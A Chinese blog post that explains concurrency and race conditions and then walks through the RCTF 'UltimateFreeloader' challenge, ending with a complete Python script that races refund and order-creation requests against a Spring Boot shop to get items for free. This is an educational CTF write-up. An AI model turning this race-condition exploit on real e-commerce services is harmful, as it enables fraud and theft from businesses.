并发与条件竞争

前言

上周RCTF UltimateFreeloader这题是难得的业务安全类型的题目,相比于常见的以RCE为目标的攻防场景,这道题目是以”薅羊毛”为目标的 SRC 场景,非常的有趣,并且让我想起了很多之前学过的操作系统有关的知识,遂写此文以作总结。

并发与并行

  • 并发(Concurrency):看起来“同时”做多个任务,但其实 CPU 在不同任务之间快速切换,任务轮流 使用 CPU,宏观上同时,微观上并非如此
  • 并行(Parallelism):多个任务”真实地”同时执行,必须有多个 CPU 核(或多个处理单元)真正同时运行任务

举个例子,我们在吃饭的时候玩手机,吃两口 → 看一下手机 → 再吃两口 → 再看手机,看起来我们像是同时做两件事,其实这只是一个假象,我们在来回切换任务,每一个瞬间我们其实只在做一个任务,这就是并发。而如果是并行,就是”真实”的同时完成这两个任务,比如右手拿筷子吃饭,左手玩手机,在每一个瞬间我们都在同时做两个任务,宏观上同时,微观上亦是如此,这就是并行。

在现代的开发中,并发相当的常见,因为它可以极大的增加完成任务的速度,但速度之所以提升不是因为真的“同时”执行更多任务变快,而是因为它减少了等待带来的浪费时间,利用了我们本来浪费掉的时间。比如假设我们需要发 3 个 HTTP 请求,每个耗时 1 秒,单线程无并发的的情况下执行效果如下:

请求1 等1秒
请求2 等1秒
请求3 等1秒
总共:3秒

在有并发(例如多线程或 async),我们可以让三个请求一起发,等待时 CPU 可以干别的:

三个请求一起等待同一秒
总共:1秒

并发把等待时间叠加到了一起,节省了总耗时

临界资源

临界资源是指可以被多个进程共享但一次只能为一个进程所用的资源,访问临界资源的那段代码我们称作临界区,为了保证临界资源在一次只能被一个进程使用,我们常常会给这些临界资源上锁,比如进程A想要访问这个资源,我们就会给他上锁,上锁之后只有进程A才能访问,其他进程无法访问,只有当进程A访问临界资源的那段代码结束后,才会解开锁,其他进程比如进程B才能访问该资源。

为什么需要临界资源这个概念呢,为什么需要保证某个数据一次只能被一个进程使用呢?假设现在我们有一个进程A,运行逻辑如下:

1.a = 1
2.b = a + 2
3.return b

进程B的运行逻辑如下:

4.a = 2
5.c = a - 1
6.return c

假设二者并发运行,理想情况下,我们想要的效果是进程A返回3,进程B返回1,但是在并发的情况下,结果可能有所不同,假设运行的顺序如下:

1.a = 1
2.b = a + 2
3.return b
4.a = 2
5.c = a - 1
6.return c

此时是符合我们的预期的,进程A返回的b值为3,进程B返回的c值为1,但是如果执行的顺序如下:

1.a = 1
4.a = 2
2.b = a + 2
5.c = a - 1
3.return b
6.return c

此时进程A返回的b值变成了4,进程B返回的c值为1,显然是严格不符合我们的预期的

真实场景里的并发竞争

放在一个真实的场景里,比如购买场景,假设用户的运行逻辑如下:

1.检查余额是否大于10
2.设置商品已购买
3.余额减去10

看起来似乎没什么问题,但如果用户用进程1和进程2并发做竞争,即使用户本身只有10元,运行顺序如下:

进程1-1.检查余额是否大于10(此时余额大于10,符合要求)
进程2-1.检查余额是否大于10(此时余额大于10,符合要求)
进程1-2.设置商品已购买
进程2-2.设置商品已购买
进程2-3.余额减去10(此时余额为0)
进程2-3.余额减去10(此时余额为-10)

可以发现虽然用户只有10元,竟然神乎其神的同时购买了两件商品,而且显然只要用户用多个进程同时做竞争,甚至还能购买更多的商品。

假设是退款场景,假设用户的运行逻辑如下:

1.检查该订单是否为购买成功状态
2.余额加上10
3.将该订单设置为购买失败状态

用户还是和之前一样用进程1和进程2并发做竞争,假设只有一个订单是购买成功状态,通过并发用户也可能获取很多钱:

进程1-1.检查该订单是否为购买成功状态(订单为已购买状态)
进程2-1.检查该订单是否为购买成功状态(订单为已购买状态)
进程1-2.余额加上10
进程2-2.余额加上10(最后用户获得了20元)
进程1-3.将该订单设置为购买失败状态(订单为购买失败状态)
进程2-3.将该订单设置为购买失败状态(订单为购买失败状态)

利用并发,即使只有一个订单能退款,用户也能退款超过一个订单的钱。

现在一般开发者的逻辑一般是不允许短时间多次购买或者多次退款,会对操作做一个时间限制 ,但其实看到大家这里应该,条件竞争漏洞出现的根本原因其实并不是因为用户短时间的多次操作,而是因为没有对临界资源做好足够的限制,假设限制余额这个临界资源只有一个进程可以访问,在步骤1的时候上锁,步骤3的时候解开锁,即使有一万个进程同时竞争,最后执行的结果也是符合我们的预期的,如何设计这样一个 安全的算法逻辑,在操作系统里叫做 PV 问题,比如生产者-消费者问题、读者-写者问题、哲学家进餐等等,当然,操作系统里这样的设计更多的是为了防止产生死锁,而不是为了从安全的角度。

RCTF-UltimateFreeloader

把附件给的 jar 包反编译一下,分析一下源码可以看到这是一个基于 Spring Boot 的电商购物系统后端应用,然后有很多的功能模块,/api/flag/get 接口用于返回flag,但是有很多限制:

  • 用户已认证(有效的JWT token)
  • 购买并完成(状态为 COMPLETED)以下4个商品:
    • Little Potato(小土豆)- 5.50
    • Sweet Potato(地瓜)- 8.80
    • Fish Fish(鱼)- 4.20
    • Large Potato(大土豆)- 10.00
  • 用户余额必须等于 10.00(不能低于10)
  • 用户必须有一个未使用的优惠券

如果我们注册一个用户,我们的初始余额是10元,然后默认有一个 10.00 的优惠券,分析整个题目,从揣摩出题人的角度可以看出来,这个题的目标应该是想让我们零元购商品,毕竟最后的要求是我们的余额还是10,所以肯定不是想找个什么办法刷钱啥的,而是要求我们在保留优惠券的情况下零元购所有商品

再看代码可以发现项目里有一个redis锁,创建订单的时候有一个锁防止我们同时创建多个订单,退款的时候有一个锁防止我们重复退款。用户其实一共就只能进行两个操作,一个是创建订单(可以选择使用优惠券),另一个是退款,既然没法在创建订单时并发做竞争,也没法在退款时并发做竞争,唯一可行的方法就是在创建订单和退款之间并发做竞争了。

想要在退款和创建订单之间做竞争,前提肯定是现在我们有一个购买成功的订单,有了这个订单之后我们才能退款,然后再想办法再创建订单,因为用户的钱是有限的,只有10元,要是不使用优惠券比如买了 Large Potato 之后就没钱买其他东西了,所以退款订单和创建订单二者之间必然有一个订单是通过优惠券创建的。

这里再思考这两个订单是哪个订单是用优惠券创建的,假设创建订单用优惠券创建,退款订单是直接花钱买的,即使我们竞争成功实现零元购也没意义,用优惠券创建订单本来就不用花钱,而且优惠券也没了,所以唯一的可能就是退款订单是用优惠券创建的,创建订单是直接花钱买的,说不定还有奇迹发生,能通过某种神奇的方式利用竞争免费创建订单。

先头脑风暴一下大概的思路,然后仔细分析一下这一块的代码,先看到创建订单这里,过程大概就是先对购买操作上锁,然后校验用户和商品,接着计算价格,如果优惠券金额大于商品价格,最终价格会被置为 0,最后检查余额是否能支付这个最终价格。

代码这里看起来没什么问题,后面就是数据库这边的操作了,会先用this.orderMapper.insert(order): 在订单表 orders 中插入一条新的订单记录,接着用 BigDecimal newBalance = user.getBalance().subtract(finalPrice);计算一个新余额,最后用this.userService.updateBalance(userId, newBalance)把新余额写入用户的账户,这里的逻辑其实就非常的奇怪了,正常的代码逻辑应该是对数据库里的余额做加减,这里却是算出一个新余额后替换数据库里的余额,并且还没上锁,一看就很可疑的样子。

然后再看到退款这边的逻辑,可以看到差不多,先用加法算一下当前的余额加上退款后的值得到一个新余额,然后用this.userService.updateBalance把用户的余额替换成新余额的值。

所以之前的思路确实是没问题的,就是要在退款订单和创建订单之间并发做竞争,假设退款订单的顺序是1.检查订单是否合法2.将余额替换成10(假设退款后的余额应该是10),创建订单的顺序是3.检查订单是否合法4.将余额替换成0(假设购买后的余额应该是0),只要竞争到一个1342的顺序,就能在完成创建订单的所有操作后反而执行到退款订单的操作2,将余额替换成10,这样就成功实现零元购了。

因此思路就是在退款订单(用券)和创建订单(不用券)之间一直并发做条件竞争,直到竞争到某个创建订单是零元购才停,否则一直竞争,最后把四个商品全部零元购,这样就能在不花钱或者优惠券的情况下完成所有订单的购买

import random
import string
import threading
import time
from decimal import Decimal

import requests

BASE_URL = "http://127.0.0.1:8086"
# BASE_URL = "http://61.147.171.35:51469"

TARGET_PRODUCTS = ["Little Potato", "Sweet Potato", "Fish Fish", "Large Potato"]
BASE_PRODUCT_NAME = "Little Potato"

SESSION = requests.Session()

def api_request(method, path, token=None, **kwargs):
    url = BASE_URL + path
    headers = kwargs.pop("headers", {})
    if token:
        headers["Authorization"] = f"Bearer {token}"
    if "json" in kwargs and "Content-Type" not in headers:
        headers["Content-Type"] = "application/json"

    for _ in range(3):
        try:
            resp = SESSION.request(method, url, headers=headers, timeout=5, **kwargs)
            try:
                return resp.json()
            except Exception:
                return {"code": resp.status_code, "raw": resp.text}
        except Exception:
            time.sleep(0.2)
    return {"code": -1, "error": "request failed"}

def random_username():
    return "ctf" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))

def register_user():
    while True:
        username = random_username()
        email = f"{username}@example.com"
        body = {"username": username, "password": "Pass1234", "email": email}
        data = api_request("POST", "/api/user/register", json=body)
        if data.get("code") == 200 and data.get("data", {}).get("success"):
            d = data["data"]
            user = d["user"]
            print(f"[+] Registered user {username}")
            return user["id"], d["token"]
        else:
            print("[-] register failed:", data)
            time.sleep(0.5)

def get_products(token):
    data = api_request("GET", "/api/product/list", token=token)
    assert data.get("code") == 200, data
    products = data["data"]
    return {p["name"]: p["id"] for p in products}

def get_coupon_info(token):
    data = api_request("GET", "/api/coupon/my", token=token)
    assert data.get("code") == 200, data
    coupons = data["data"]
    assert coupons
    return coupons[0]

def get_user_balance(token):
    data = api_request("GET", "/api/user/info", token=token)
    assert data.get("code") == 200, data
    return Decimal(str(data["data"]["balance"]))

def get_orders(token):
    data = api_request("GET", "/api/order/my", token=token)
    assert data.get("code") == 200, data
    return data["data"]

def create_order(token, product_id, quantity="1", coupon_id=None):
    body = {
        "productId": product_id,
        "quantity": quantity,
        "couponId": coupon_id,
    }
    return api_request("POST", "/api/order/create", token=token, json=body)

def refund_order(token, order_id):
    return api_request("POST", f"/api/order/refund/{order_id}", token=token)

def ensure_coupon_unused(token, coupon_id):
    coupon = get_coupon_info(token)
    if not coupon["isUsed"]:
        return

    orders = get_orders(token)
    for o in orders:
        if o.get("couponId") == coupon_id and o["status"] == "COMPLETED":
            print(f"  [*] Restoring coupon by refunding order {o['id']}")
            refund_order(token, o["id"])
            break

    coupon = get_coupon_info(token)
    assert not coupon["isUsed"]

def zero_cost_purchase(token, product_ids, coupon_id, target_name, max_tries=30):
    target_pid = product_ids[target_name]
    base_pid = product_ids[BASE_PRODUCT_NAME]

    for attempt in range(1, max_tries + 1):
        print(f"  [*] {target_name} try #{attempt}")

        ensure_coupon_unused(token, coupon_id)

        base_resp = create_order(token, base_pid, quantity="1", coupon_id=coupon_id)
        if base_resp.get("code") != 200 or not base_resp.get("data", {}).get("success"):
            print("  [-] base order failed:", base_resp)
            time.sleep(0.2)
            continue

        base_order_id = base_resp["data"]["order"]["id"]

        create_result = {}
        refund_result = {}

        def t_create():
            nonlocal create_result
            create_result = create_order(
                token, target_pid, quantity="1", coupon_id=None
            )

        def t_refund():
            nonlocal refund_result
            refund_result = refund_order(token, base_order_id)

        threads = [threading.Thread(target=t_create), threading.Thread(target=t_refund)]
        for t in threads:
            t.start()
        for t in threads:
            t.join()

        balance = get_user_balance(token)
        target_order_id = None
        success_create = create_result.get("code") == 200 and create_result.get(
            "data", {}
        ).get("success")
        if success_create:
            target_order_id = create_result["data"]["order"]["id"]

        orders = get_orders(token)
        has_target_completed = any(
            o["productId"] == target_pid and o["status"] == "COMPLETED" for o in orders
        )

        print(f"  [*] balance={balance}, target_completed={has_target_completed}")

        if balance == Decimal("10.00") and has_target_completed:
            print(f"  [+] Got free COMPLETED order for {target_name}")
            return True

        if target_order_id:
            print(f"  [*] refund target order {target_order_id} to restore balance")
            refund_order(token, target_order_id)
            balance_after = get_user_balance(token)
            print(f"  [*] balance after refund={balance_after}")
            if balance_after < Decimal("4.20"):
                print("  [-] balance too low after refund, give up this user")
                return False
        else:
            if balance < Decimal("4.20"):
                print("  [-] balance too low, give up this user")
                return False

        time.sleep(0.2)

    print(f"  [-] Max tries reached for {target_name}, give up on this user.")
    return False

def conditions_satisfied(token, product_ids, coupon_id):
    orders = get_orders(token)
    balance = get_user_balance(token)
    coupon = get_coupon_info(token)

    completed = [o for o in orders if o["status"] == "COMPLETED"]
    completed_pids = {o["productId"] for o in completed}
    has_all_products = all(pid in completed_pids for pid in product_ids.values())
    has_balance_10 = balance == Decimal("10.00")
    has_unused_coupon = not coupon["isUsed"]

    return has_all_products, has_balance_10, has_unused_coupon, orders

def get_flag(token):
    data = api_request("GET", "/api/flag/get", token=token)
    print("[+] /api/flag/get:", data)
    return data

def exploit_once():
    user_id, token = register_user()
    products = get_products(token)
    for name in TARGET_PRODUCTS:
        assert name in products, f"product {name} not found"

    coupon = get_coupon_info(token)
    coupon_id = coupon["id"]
    print(
        f"[+] User {user_id}, coupon_id={coupon_id}, balance={get_user_balance(token)}"
    )

    for name in TARGET_PRODUCTS:
        ok = zero_cost_purchase(token, products, coupon_id, name)
        if not ok:
            return False

    has_all, has_bal10, has_unused, _ = conditions_satisfied(token, products, coupon_id)
    print(
        f"[+] Final check: products={has_all}, balance10={has_bal10}, coupon_unused={has_unused}"
    )

    if has_all and has_bal10 and has_unused:
        print("[+] Conditions satisfied, requesting flag...")
        get_flag(token)
        return True
    return False

if __name__ == "__main__":
    for attempt in range(1, 6):
        print(f"===== Attempt {attempt} =====")
        try:
            if exploit_once():
                break
        except Exception as e:
            print(f"[!] Error in attempt {attempt}: {e}")
        time.sleep(0.5)

因为是条件竞争,所以能不能打出来有点看脸,实现不行刷新靶机多试几次

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇